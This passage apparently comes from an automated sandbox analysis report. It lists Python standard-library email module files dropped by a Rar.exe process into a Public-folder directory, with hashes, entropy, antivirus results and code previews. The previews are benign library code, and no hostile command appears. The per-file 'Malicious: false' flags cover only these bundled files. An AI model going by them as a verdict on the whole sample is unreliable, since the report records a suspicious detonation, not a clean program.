data.FT)...encode..UnicodeEncodeError)...s..r...../C:\Users\Public\QExvbmVOb25l\lib\email\utils.py.._has_surrogates3...s.............

C:\Users\Public\QExvbmVOb25l\Lib\email\_encoded_words.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8774
Entropy (8bit):	4.669757481893706
Encrypted:	false
SSDEEP:	192:F2gPi1IygNGhdRBp8+HAe+izJkpVkgnrVeqD6kec8ZnN2ENGKTK:F2gPimygNGhjUpBVkgkqD6n9eEh+
MD5:	DD5C15C6C8497B37895EE2DD40483EBC
SHA1:	F6ACB572029D7CD2D41625C7F0DED5B8EB6A313D
SHA-256:	154F585498454CA829DCD44BB89355FF8C7965B1B6692D1AC0293E7553DBBABD
SHA-512:	140555C8F17669C2AC624E0E354021ECAA7F4F24AC6DDA3A1DD19A74371BFCC3FC0C714061362DE84EC8456ECB3381FF6C7D328C4EF25CDA3061C90EBE273324
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	""" Routines for manipulating RFC2047 encoded words.....This is currently a package-private API, but will be considered for promotion..to a public API if there is demand....."""....# An ecoded word looks like this:..#..# =?charset[*lang]?cte?encoded_string?=..#..# for more information about charset see the charset module. Here it is one..# of the preferred MIME charset names (hopefully; you never know when parsing)...# cte (Content Transfer Encoding) is either 'q' or 'b' (ignoring case). In..# theory other letters could be used for other encodings, but in practice this..# (almost?) never happens. There could be a public API for adding entries..# to the CTE tables, but YAGNI for now. 'q' is Quoted Printable, 'b' is..# Base64. The meaning of encoded_string should be obvious. 'lang' is optional..# as indicated by the brackets (they are not part of the syntax) but is almost..# never encountered in practice...#..# The general interface for a CTE decoder is that it takes the enc

C:\Users\Public\QExvbmVOb25l\Lib\email\_header_value_parser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	109985
Entropy (8bit):	4.606805991203239
Encrypted:	false
SSDEEP:	1536:My6wjBQZNdoEVWnGINpQxx3rfxXu/6V7asGYDF9M6M:swjBMNEGOQx7vM
MD5:	BFD2F9A03D650665D9F73B7232299A1E
SHA1:	25EA36F8ABE6790512BBDE0B122B7557F6B0C4E5
SHA-256:	F14209FD00B53C97611753F167FDFEBD1C4C3F90476FBD565D1F7A0C21C4211D
SHA-512:	9120E6CAC27382A437C0ABDA195F96B2BD46A4852A1DD71C5D0DA45399FB110BBB13ED587A4A8DED99E8C3A740EBA03CDB683069185B814B5118E5CE09F5EDBA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Header value parser implementing various email-related RFC parsing rules.....The parsing methods defined in this module implement various email related..parsing rules. Principal among them is RFC 5322, which is the followon..to RFC 2822 and primarily a clarification of the former. It also implements..RFC 2047 encoded word decoding.....RFC 5322 goes to considerable trouble to maintain backward compatibility with..RFC 822 in the parse phase, while cleaning up the structure on the generation..phase. This parser supports correct RFC 5322 generation by tagging white space..as folding white space only when folding is allowed in the non-obsolete rule..sets. Actually, the parser is even more generous when accepting input than RFC..5322 mandates, following the spirit of Postel's Law, which RFC 5322 encourages...Where possible deviations from the standard are annotated on the 'defects'..attribute of tokens that deviate.....The general structure of the parser follows RFC 5322, and uses its

C:\Users\Public\QExvbmVOb25l\Lib\email\_parseaddr.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18378
Entropy (8bit):	4.40867877161788
Encrypted:	false
SSDEEP:	192:7rjJPsgHvi2r8ISXiCvXOHjPBDtKU2U1aQQQy1leo7T/i/u6/Gkj:7rZHv5rwXiC2HDmQs1gow
MD5:	ABB8E7D0EECA30077BEC3E11166B853D
SHA1:	13F614028F8727728DD31E98FA628297FC38C0C0
SHA-256:	4960C31F0039780F316149A3773367A3AEEC3BB17D360776334D9B9E688DA908
SHA-512:	8AB6AC0C1512FFA89D68C726144E8FABBAFBA93687F27F7F8B528BD3B2F7C492235FFEC4B0A02FE74563EB15CD3740E0FBDE39271FEC7C58146EDEFE2B13DA41
Malicious:	false
Reputation:	low
Preview:	# Copyright (C) 2002-2007 Python Software Foundation..# Contact: email-sig@python.org...."""Email address parsing code.....Lifted directly from rfc822.py. This should eventually be rewritten..."""....__all__ = [.. 'mktime_tz',.. 'parsedate',.. 'parsedate_tz',.. 'quote',.. ]....import time, calendar....SPACE = ' '..EMPTYSTRING = ''..COMMASPACE = ', '....# Parse a date field.._monthnames = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul',.. 'aug', 'sep', 'oct', 'nov', 'dec',.. 'january', 'february', 'march', 'april', 'may', 'june', 'july',.. 'august', 'september', 'october', 'november', 'december']...._daynames = ['mon', 'tue', 'wed', 'thu', 'fri', 'sat', 'sun']....# The timezone table does not include the military time zones defined..# in RFC822, other than Z. According to RFC1123, the description in..# RFC822 gets the signs wrong, so we can't rely on any such time..# zones. RFC1123 recommends that numeric timezone indicators b

C:\Users\Public\QExvbmVOb25l\Lib\email\_policybase.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	15447
Entropy (8bit):	4.377685393663711
Encrypted:	false
SSDEEP:	192:5XWVeJxZK+08mJJV22bqcOJ5Ad/8s/4kdztLEldnD98J+Uc7XaRiZFe++GK:5XNXK+cJQedf/4M5LEXnm2F0
MD5:	0C5B89A975BB78A09F8601501DDBF037
SHA1:	949B4A68B8A9DFD7C3A4E9E04DD6C9F0DBB6D76B
SHA-256:	D9F2E3A5E277CFE874E4C47BF643497C51D3B8C4B97124B478DA23407921DAEC
SHA-512:	EA3E1E795470ACF89D61CB31A67AFD7055A3C48204371A9F62B0DADB8FF15F7B771F159DE123F53D939437B1374BA4437D945B6990A5AFAA93B5DA54154DA83B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Policy framework for the email package.....Allows fine grained feature control of how the package parses and emits data..."""....import abc..from email import header..from email import charset as _charset..from email.utils import _has_surrogates....__all__ = [.. 'Policy',.. 'Compat32',.. 'compat32',.. ]......class _PolicyBase:.... """Policy Object basic framework..... This class is useless unless subclassed. A subclass should define.. class attributes with defaults for any values that are to be.. managed by the Policy object. The constructor will then allow.. non-default values to be set for these attributes at instance.. creation time. The instance will be callable, taking these same.. attributes keyword arguments, and returning a new instance.. identical to the called instance except for those values changed.. by the keyword arguments. Instances may be added, yielding new.. instances with any non-default values from the right hand..

C:\Users\Public\QExvbmVOb25l\Lib\email\architecture.rst

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9777
Entropy (8bit):	4.593828888317049
Encrypted:	false
SSDEEP:	192:WfEMoWDlnkHiiG+2F0wx0GTKGlq1VngbQ:WMMoWDlkHii+0wxKh9
MD5:	AF898BB7CA21756B490791A7A7F7DB15
SHA1:	59D2CC7CD4D850E2CA063055E45050488D2B7FB4
SHA-256:	8D1A1F7C18240DF34E51C32450449C5CD767C3571B553D2052A3FD6BFB77C07A
SHA-512:	3D9671001067CD9C9D41D4B693776035506862D68E83701A72E43AAAF23E7FB1645A6E117531BEAB334F3883A27F31AE348C77C376E39186E10C1B23EBED4869
Malicious:	false
Reputation:	low
Preview:	:mod:`email` Package Architecture..=================================....Overview..--------....The email package consists of three major components:.... Model.. An object structure that represents an email message, and provides an.. API for creating, querying, and modifying a message..... Parser.. Takes a sequence of characters or bytes and produces a model of the.. email message represented by those characters or bytes..... Generator.. Takes a model and turns it into a sequence of characters or bytes. The.. sequence can either be intended for human consumption (a printable.. unicode string) or bytes suitable for transmission over the wire. In.. the latter case all data is properly encoded using the content transfer.. encodings specified by the relevant RFCs.....Conceptually the package is organized around the model. The model provides both.."external" APIs intended for use by application programs using the libra

C:\Users\Public\QExvbmVOb25l\Lib\email\base64mime.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	4.842316082900427
Encrypted:	false
SSDEEP:	48:TX74xcMNLmCZ1WReUHIUethenVZPN3rMGTHbxSJVWYKFpHMoUUbOo0M7poqB7VVE:TX6dAReUteOZ13lTWWPoUbOm7po40
MD5:	8AE63186399520CCD61E4776409065FF
SHA1:	BF485E3B3051EAC063E9C69161A542D5072759C9
SHA-256:	7E499FDEFAF71CA3DF0CBEB0B3F7B460FDB3CC86CE82CEB5842747DD1687424D
SHA-512:	51C83054EC515CC2CC1EB467E3AFBA92820B3F1CB8C4C22345EDA38B23DB74C6FF6290BCDF8E77EEADCCA2183575D70EA5C88962E3B673AC5CEC17E595022DC3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2002-2007 Python Software Foundation..# Author: Ben Gertzfield..# Contact: email-sig@python.org...."""Base64 content transfer encoding per RFCs 2045-2047.....This module handles the content transfer encoding method defined in RFC 2045..to encode arbitrary 8-bit data using the three 8-bit bytes in four 7-bit..characters encoding known as Base64.....It is used in the MIME standards for email to attach images, audio, and text..using some 8-bit character sets to messages.....This module provides an interface to encode and decode both headers and bodies..with Base64 encoding.....RFC 2045 defines a method for including character set information in an..`encoded-word' in a header. This method is commonly used for 8-bit real names..in To:, From:, Cc:, etc. fields, as well as Subject: lines.....This module does not do the line wrapping or end-of-line character conversion..necessary for proper internationalized headers; it only does dumb encoding and..decoding. To deal with the

C:\Users\Public\QExvbmVOb25l\Lib\email\charset.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	17532
Entropy (8bit):	4.605924379555321
Encrypted:	false
SSDEEP:	192:yfqAmKHv1dHdU/WNtjHo3GWnCO/H4rs5o+wqUDWzhS3zbpiukbb/Lq/PusWux9Bm:yfqpEKctLIGWcs5o1kSjblUbzsn9uokJ
MD5:	7D16C9AD3426CD9A469E85B63CD9BF58
SHA1:	11DB7CA4FC1191E3EE6053B28BDEF7C086D5EFB6
SHA-256:	BCF952E8BCA0AB984AE06E5D1C8634C7FFFF8BD1F02403BE3E870325F056D84D
SHA-512:	EAD30DC1068645991516076445C811263A18D033E6DBBF0E1903D0DA5192DC4BB0C975D44D1694E91A380A48F5ECFFDE0483B88A27939467251456F88E9D6282
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2001-2007 Python Software Foundation..# Author: Ben Gertzfield, Barry Warsaw..# Contact: email-sig@python.org....__all__ = [.. 'Charset',.. 'add_alias',.. 'add_charset',.. 'add_codec',.. ]....from functools import partial....import email.base64mime..import email.quoprimime....from email import errors..from email.encoders import encode_7or8bit.........# Flags for types of header encodings..QP = 1 # Quoted-Printable..BASE64 = 2 # Base64..SHORTEST = 3 # the shorter of QP and base64, but only for headers....# In "=?charset?q?hello_world?=", the =?, ?q?, and ?= add up to 7..RFC2047_CHROME_LEN = 7....DEFAULT_CHARSET = 'us-ascii'..UNKNOWN8BIT = 'unknown-8bit'..EMPTYSTRING = ''.........# Defaults..CHARSETS = {.. # input header enc body enc output conv.. 'iso-8859-1': (QP, QP, None),.. 'iso-8859-2': (QP, QP, None),.. 'iso-8859-3': (QP, QP, None),.. 'iso-8859-4': (QP, QP, No

C:\Users\Public\QExvbmVOb25l\Lib\email\contentmanager.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10803
Entropy (8bit):	4.598946355386075
Encrypted:	false
SSDEEP:	192:Nwnc3QJVGYLiVFwlTeDzS8TCoUGKVTowVP7Hmrd:NwnccVe5C8TCoSVfaZ
MD5:	B0E0936B331BCD3C5D66802F1B280EB7
SHA1:	365EFBB441E8B675A861AF54002E02F6AD0CA29F
SHA-256:	565C226D02B4C500969C3AC575E28BEE7179947B8E0DB6C7343F51A43E57B330
SHA-512:	F506CDB2F704F7FD61A5C44AD39CD9EC0888345018E0876B099114CBF63B6A9645C0465CF65427F7B4000B17573F5CFC31A4B771149BDB607B9ED9DA8CA69850
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	import binascii..import email.charset..import email.message..import email.errors..from email import quoprimime....class ContentManager:.... def __init__(self):.. self.get_handlers = {}.. self.set_handlers = {}.... def add_get_handler(self, key, handler):.. self.get_handlers[key] = handler.... def get_content(self, msg, args, kw):.. content_type = msg.get_content_type().. if content_type in self.get_handlers:.. return self.get_handlers[content_type](msg, args, *kw).. maintype = msg.get_content_maintype().. if maintype in self.get_handlers:.. return self.get_handlers[maintype](msg, args, *kw).. if '' in self.get_handlers:.. return self.get_handlers[''](msg, args, *kw).. raise KeyError(content_type).... def add_set_handler(self, typekey, handler):.. self.set_handlers[typekey] = handler.... def set_content(self, msg, obj, args, **kw):.. if msg.get_content_m

C:\Users\Public\QExvbmVOb25l\Lib\email\encoders.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1855
Entropy (8bit):	4.84496401418314
Encrypted:	false
SSDEEP:	24:QUXt+w1Tyt2+tsJeP19tQDMD6sV1+5BUlvYBytUpvZLyZEq977t8FEHK/dm7BnZq:fXvURt0eP19W1m1hlgkqpxLsOEH7M
MD5:	C5D9853A25FF74DBD71A79494E777276
SHA1:	D31B520808C02B931F2F2EC2DC8FBCCD11C350D2
SHA-256:	1CEA37BB71B7AAC3C7ACB98CCCC2F17017F7195FFE510A96F0DACAABA856A2C6
SHA-512:	4249F3889E4B6D944B5A0E1274076313DDF48F89705F2D91B3625A6E59E3A5BE1101C83619AA0DD2B27931F77CCD1FC81ABA7F3C3FB3B5B215A4C1E5F0F365F2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Encodings and related functions."""....__all__ = [.. 'encode_7or8bit',.. 'encode_base64',.. 'encode_noop',.. 'encode_quopri',.. ]......from base64 import encodebytes as _bencode..from quopri import encodestring as _encodestring.........def _qencode(s):.. enc = _encodestring(s, quotetabs=True).. # Must encode spaces, which quopri.encodestring() doesn't do.. return enc.replace(b' ', b'=20')......def encode_base64(msg):.. """Encode the message's payload in Base64..... Also, add an appropriate Content-Transfer-Encoding header... """.. orig = msg.get_payload(decode=True).. encdata = str(_bencode(orig), 'ascii').. msg.set_payload(encdata).. msg['Content-Transfer-Encoding'] = 'base64'.........def encode_quopri(msg):.. """Encode the message's payload in quoted-printable..... Also, add an appropriate Content-Transfer-Encoding head

C:\Users\Public\QExvbmVOb25l\Lib\email\errors.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3848
Entropy (8bit):	4.82156900066135
Encrypted:	false
SSDEEP:	96:fXWfvJ87oBWxPqDuDeSJSLd/Be7USGKRhEMLfwj3P6aLQSNf:/ivJ87IMTJUB+Xk3P6aLQSp
MD5:	8A6EE2E875D87833B092C4FFB1486680
SHA1:	3A1C424674CADA0FC0182617B0DF008633E237B1
SHA-256:	AC186C29F471F55DE3099F82B67B8B0B9EDB16E4568CB094F852373A0485D07A
SHA-512:	4D82E81C20EDFEB60411E4BE994C1C3F5EA92C9ABBBF43F3AD344852586D53C744BDDB9AE09F381E139E670EC7D97BF7859F5101F8C2DA57A9E730451409D15E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""email package exception classes."""......class MessageError(Exception):.. """Base class for errors in the email package."""......class MessageParseError(MessageError):.. """Base class for message parsing errors."""......class HeaderParseError(MessageParseError):.. """Error while parsing headers."""......class BoundaryError(MessageParseError):.. """Couldn't find terminating boundary."""......class MultipartConversionError(MessageError, TypeError):.. """Conversion to a multipart is prohibited."""......class CharsetError(MessageError):.. """An illegal charset was given."""......# These are parsing defects which the parser was able to work around...class MessageDefect(ValueError):.. """Base class for a message defect.""".... def __init__(self, line=None):.. if line is not None:.. super().__init__(line).. self.line = line....cla

C:\Users\Public\QExvbmVOb25l\Lib\email\feedparser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23316
Entropy (8bit):	4.1407006845201835
Encrypted:	false
SSDEEP:	192:YSdO2JUUP3VCzFsoa/i0uP4Uu59MixDbBJredt0S/OkEL/Vi1gSlq5WtAZtASWG0:YSdZJxPFCRs4P4UyGi5BJiEUTb85hEF
MD5:	2D2B32601AD79A67484175EC19C73C77
SHA1:	1B31D6BB28CA6939F4F4B6AA662A1254DEA9F157
SHA-256:	F3B126E9C8E58230B0D9295B69B4940569EB003AFCBA80BA1714CA5E53F84886
SHA-512:	91C830D6D96DFD152E1E6E4D44CAFB9C5EEF1FDA482A450093143B177B902E7659153CE877695F005862F106BC0ED353A17A2CA8872087DCE6AC86143A5A6D47
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2004-2006 Python Software Foundation..# Authors: Baxter, Wouters and Warsaw..# Contact: email-sig@python.org...."""FeedParser - An email feed parser.....The feed parser implements an interface for incrementally parsing an email..message, line by line. This has advantages for certain applications, such as..those reading email messages off a socket.....FeedParser.feed() is the primary interface for pushing new data into the..parser. It returns when there's nothing more it can do with the available..data. When you have no more data to push into the parser, call .close()...This completes the parsing and returns the root message object.....The other advantage of this parser is that it will never raise a parsing..exception. Instead, when it finds something unexpected, it adds a 'defect' to..the current message. Defects are just instances that live on the message..object's .defects attribute..."""....__all__ = ['FeedParser', 'BytesFeedParser']....import re....from email i

C:\Users\Public\QExvbmVOb25l\Lib\email\generator.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20708
Entropy (8bit):	4.437748397303835
Encrypted:	false
SSDEEP:	384:+/9Y5kyIhAckQlrXdqMlHD4cMRVbCgWGi8aXR:+/u5UA7Q7qMtD4cgVbCLGTI
MD5:	00700DFB5C1ECFFBCE39A275BD8F12B0
SHA1:	23D15C009826BEFD86BF804A315C7AF18D37C9B6
SHA-256:	B3102DE7B076FF21F00B580CE82E1118AA38B607931A2476DC3883398275F3DD
SHA-512:	64ACEECA27E56244279A8A74507DD6F6D42A51C9313956ED29056532BFD2D3655391EB3C85BD0CABA964E73282012A9C99680D4DC3F25BD313CE1295D0334E5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2001-2010 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Classes to generate plain text from a message object tree."""....__all__ = ['Generator', 'DecodedGenerator', 'BytesGenerator']....import re..import sys..import time..import random....from copy import deepcopy..from io import StringIO, BytesIO..from email.utils import _has_surrogates....UNDERSCORE = '_'..NL = '\n' # XXX: no longer used by the code below.....NLCRE = re.compile(r'\r\n\|\r\|\n')..fcre = re.compile(r'^From ', re.MULTILINE).........class Generator:.. """Generates output from a Message object tree..... This basic generator writes the message to the given file object as plain.. text... """.. #.. # Public interface.. #.... def __init__(self, outfp, mangle_from_=None, maxheaderlen=None, *,.. policy=None):.. """Create the generator for message flattening..... outfp is the output file-like object for writing the me

C:\Users\Public\QExvbmVOb25l\Lib\email\header.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	24680
Entropy (8bit):	4.391747681853325
Encrypted:	false
SSDEEP:	768:7VPwrX0X1jgc2EE2HLJaAUmzfEPrD9lMPHfziN:75wrZENLEv9oz2
MD5:	EFE826EE4E05118B050E04FD44DA04E1
SHA1:	74708ECA64365EEAF6F0DB3AF06470A3136971BF
SHA-256:	8989B40D16A74E408F117AC964F0498AC807430FB16E1B41FC3783C8397AE165
SHA-512:	D505B167E8BB9D6F3250CBE4019E11952F004AB6E1691C952F1B0D7A014A2BB84316849EC4413A87EC2FD6F64FF24EE144D9DCB9A70D7E8FE5C4E19AF5847C7F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2002-2007 Python Software Foundation..# Author: Ben Gertzfield, Barry Warsaw..# Contact: email-sig@python.org...."""Header encoding and decoding functionality."""....__all__ = [.. 'Header',.. 'decode_header',.. 'make_header',.. ]....import re..import binascii....import email.quoprimime..import email.base64mime....from email.errors import HeaderParseError..from email import charset as _charset..Charset = _charset.Charset....NL = '\n'..SPACE = ' '..BSPACE = b' '..SPACE8 = ' ' * 8..EMPTYSTRING = ''..MAXLINELEN = 78..FWS = ' \t'....USASCII = Charset('us-ascii')..UTF8 = Charset('utf-8')....# Match encoded-word strings in the form =?charset?q?Hello_World?=..ecre = re.compile(r'''.. =\? # literal =?.. (?P<charset>[^?]?) # non-greedy up to the next ? is the charset.. \? # literal ?.. (?P<encoding>[qQbB]) # either a "q" or a "b", case insensitive.. \? # literal ?.. (?P<encoded>.?) # non-greedy up

C:\Users\Public\QExvbmVOb25l\Lib\email\headerregistry.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	21417
Entropy (8bit):	4.469282853795882
Encrypted:	false
SSDEEP:	192:Yzl1HHR1R+jCKHbASD/J72KQ5IwIe7TJetODErjzGvGdgcWArw6ZaPYKb6M3/yRJ:cfR1cDHP/Jk5L82UK6ZOYKb6Mznpjzs
MD5:	85B66267476C872AD6929809F5A2148E
SHA1:	00DAE4BF4BB8C59160838A8792540FBFF9235CCB
SHA-256:	4F35739459852F5165E594974C20077ACE4EDCF2F0C295878255D376BC0ECC2A
SHA-512:	69AB5C38DFC4BA189FDC3C344B8509C067A2B9A4A62A4ECA991FA1697571AA6F65AB66037D92C63733BFC87698CFFEC6EBD543B9859F5C35B15BD3C62B487313
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Representing and manipulating email headers via custom objects.....This module provides an implementation of the HeaderRegistry API...The implementation is designed to flexibly follow RFC5322 rules..."""..from types import MappingProxyType....from email import utils..from email import errors..from email import _header_value_parser as parser....class Address:.... def __init__(self, display_name='', username='', domain='', addr_spec=None):.. """Create an object representing a full email address..... An address can have a 'display_name', a 'username', and a 'domain'. In.. addition to specifying the username and domain separately, they may be.. specified together by using the addr_spec keyword instead of the.. username and domain keywords. If an addr_spec string is specified it.. must be properly quoted according to RFC 5322 rules; an error will be.. raised if it is not..... An Address object has display_name, username, doma

C:\Users\Public\QExvbmVOb25l\Lib\email\iterators.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2206
Entropy (8bit):	4.742106820652629
Encrypted:	false
SSDEEP:	48:fXv/9Im+qoFoz0JSB+GUSRvfROul7IMbwI94gH4LqiQtC:fXHaqoFoAJQeSRh7IMbwtgYAQ
MD5:	A8141F0F87485A31CD34D98D9254CC74
SHA1:	B89AA38E7162DAD04D6864413013C25E8CBE04AF
SHA-256:	7CBB33D39388E72C408E8A64C5DDF044EF546092E6EC48BD62926CDB54E80769
SHA-512:	6E68410D8A67AE6656D9BCE4A7C81014A09C61FC9E27EBB8D38835A466172BC39447B7C2E7D91093280DCEF162C9F3EA0DA3A4EC8E70A6F597B4C92E8544FBD0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Various types of useful iterators and generators."""....__all__ = [.. 'body_line_iterator',.. 'typed_subpart_iterator',.. 'walk',.. # Do not include _structure() since it's part of the debugging API... ]....import sys..from io import StringIO.........# This function will become a method of the Message class..def walk(self):.. """Walk over the message tree, yielding each subpart..... The walk is performed in depth-first order. This method is a.. generator... """.. yield self.. if self.is_multipart():.. for subpart in self.get_payload():.. yield from subpart.walk().........# These two functions are imported into the Iterators.py interface module...def body_line_iterator(msg, decode=False):.. """Iterate over the parts, returning string payloads line-by-line..... Optional decode (default False) is passed through to .ge

C:\Users\Public\QExvbmVOb25l\Lib\email\message.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	48233
Entropy (8bit):	4.389945069848653
Encrypted:	false
SSDEEP:	768:ykIqfRbIopYv72saLA5/ze9H/9KDiYoeRMqsEC+q6+4xj4UOlZn:ykIqJrp5LA5/zeVlWiYoeRMqsEC+q6+D
MD5:	14F6A07A274A381C6C16336912036DF9
SHA1:	9E44EBD712548E3B4F616AF023577C71C731D7D9
SHA-256:	2A132F508CB491F5D58285B4CDC5F58EB5B7E181E5BDA52683C9E37B3CE1FC9A
SHA-512:	30405248116E788B590B009F27E7395D68543738ACFC2A90FB03F8C4BD07DC5FCB0BFB13A85552E81BCCA8256D4B290A84766CCE38C3C43011F652C96A548EF4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2001-2007 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Basic message object for the email package object model."""....__all__ = ['Message', 'EmailMessage']....import re..import uu..import quopri..from io import BytesIO, StringIO....# Intrapackage imports..from email import utils..from email import errors..from email._policybase import Policy, compat32..from email import charset as _charset..from email._encoded_words import decode_b..Charset = _charset.Charset....SEMISPACE = '; '....# Regular expression that matches `special' characters in parameters, the..# existence of which force quoting of the parameter value...tspecials = re.compile(r'[ <>@,;:\\"/\[\]\?=]')......def _splitparam(param):.. # Split header parameters. BAW: this may be too simple. It isn't.. # strictly RFC 2045 (section 5.1) compliant, but it catches most headers.. # found in the wild. We may eventually need a full fledged parser... # RDM: w

C:\Users\Public\QExvbmVOb25l\Lib\email\mime\application.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	4.663083536091826
Encrypted:	false
SSDEEP:	24:QUXxpwqf12TR2BeEcyA4IkkqaXzoiXIfr2mdzWBVO96eZv8dVbyMlAQwY:fXocsREexyAkiJCoK83zlDZ
MD5:	3694543B1F5BA8545787D841B01B6554
SHA1:	286BD4F89559927558A157A054C01BFCB2271034
SHA-256:	8911432A19145A0F8D3A869BF9D37BD5B1325C148BCC2196859543714F30162A
SHA-512:	D952021F7E76FA9EE3C8E62B7131BDB9D12BFB3DB988E0BC5211A4451E38E1550221785CD1DBF6889BCBE7D081A195D50CE4C9E186494174EA191F448BC4989B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright (C) 2001-2006 Python Software Foundation..# Author: Keith Dart..# Contact: email-sig@python.org...."""Class representing application/* type MIME documents."""....__all__ = ["MIMEApplication"]....from email import encoders..from email.mime.nonmultipart import MIMENonMultipart......class MIMEApplication(MIMENonMultipart):.. """Class for generating application/* MIME documents.""".... def __init__(self, _data, _subtype='octet-stream',.. _encoder=encoders.encode_base64, , policy=None, _params):.. """Create an application/ type MIME document..... _data contains the bytes for the raw application data..... _subtype is the MIME content type subtype, defaulting to.. 'octet-stream'..... _encoder is a function which will perform the actual encoding for.. transport of the application data, defaulting to base64 encoding..... Any additional keyword arguments are passed to the base class.. constructor, which

C:\Users\Public\QExvbmVOb25l\Lib\email\mime\audio.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2813
Entropy (8bit):	4.596181813233121
Encrypted:	false
SSDEEP:	48:2XVEOsRERHk+hYQSitDqaxOviBvSpCkGuCqspqK8WINl/3XH:2X+OsRERHk8YWt+axOvmSpCGCqHK8W8x
MD5:	032F9685D64F2E7FA6E25478661277B4
SHA1:	EF3D80537F049401798601A14FCAAB47F408B46A
SHA-256:	983C68C0876371A4B4079B94F161AC2F0199A453B28CF3FD7D2D23FFC9908CF4
SHA-512:	F94B1B4285CEFC24055C41C2E197E824FF8B1C92D13E76CB6F5D67083C5F5CA2CD563BF3D0AFCA7FDB33BE542E53E72B23D1D296475880E8313089500BB49340
Malicious:	false
Reputation:	low
